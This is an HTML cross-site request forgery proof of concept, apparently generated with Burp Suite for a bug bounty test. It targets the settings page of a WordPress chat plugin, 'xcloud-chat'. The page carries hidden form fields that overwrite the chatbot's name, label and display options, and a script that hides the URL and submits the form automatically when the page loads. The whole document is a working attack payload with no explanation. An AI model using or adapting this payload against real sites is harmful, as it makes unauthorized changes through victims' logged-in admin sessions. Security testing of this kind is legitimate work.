<html>
<!– CSRF PoC – generated by Burp Suite Professional –>
<body>
<form action=”https://sthealth-bugbounty2.site.findly.com/wp-admin/admin.php?page=xcloud-chat” method=”POST”>
<input type=”hidden” name=”xchat_save” value=”b3afbafcbb” />
<input type=”hidden” name=”_wp_http_referer” value=”/wp-admin/admin.php?page=xcloud-chat” />
<input type=”hidden” name=”xchat_setting[v2_bot_name]” value=”” />
<input type=”hidden” name=”xchat_setting[v2_bot_id]” value=”” />
<input type=”hidden” name=”xchat_setting[v2_bot_alias_name]” value=”” />
<input type=”hidden” name=”xchat_setting[v2_bot_alias_id]” value=”” />
<input type=”hidden” name=”xchat_setting[disable_overlay_everywhere]” value=”false” />
<input type=”hidden” name=”xchat_setting[show_baloon]” value=”always” />
<input type=”hidden” name=”xchat_setting[baloon_text]” value=”Chat with Tanya about finding your dream job!” />
<input type=”hidden” name=”xchat_setting[ai_name]” value=”Tanyaasdf” />
<input type=”hidden” name=”xchat_setting[ai_label]” value=”AI Recruiter” />
<input type=”hidden” name=”xchat_setting[disable_overlay_everywhere]” value=”false” />
<input type=”hidden” name=”xchat_setting[use_ai_pic_in_button]” value=”true” />
<input type=”hidden” name=”xchat_setting[ai_pic]” value=”/wp-content/plugins/xcloud-chat/css/images/default_avatar2.png” />
<input type=”hidden” name=”xchat_setting[defer_iframe_loading]” value=”false” />
<input type=”hidden” name=”xchat_setting[enable_markdown_formatting]” value=”false” />
<input type=”hidden” name=”xchat_setting[ai_initial_msg]” value=”” />
<input type=”hidden” name=”xchat_setting[link_target]” value=”_top” />
<input type=”hidden” name=”xchat_setting[ai_delay]” value=”1750″ />
<input type=”hidden” name=”xchat_setting[include_search_link]” value=”false” />
<input type=”hidden” name=”xchat_setting[use_boolean_keyword_search]” value=”false” />
<input type=”hidden” name=”xchat_setting[max_jobs]” value=”3″ />
<input type=”hidden” name=”submit” value=”Save Changes” />
<input type=”submit” value=”Submit request” />
</form>
<script>
history.pushState(”, ”, ‘/’);
document.forms[0].submit();
</script>
</body>
</html>
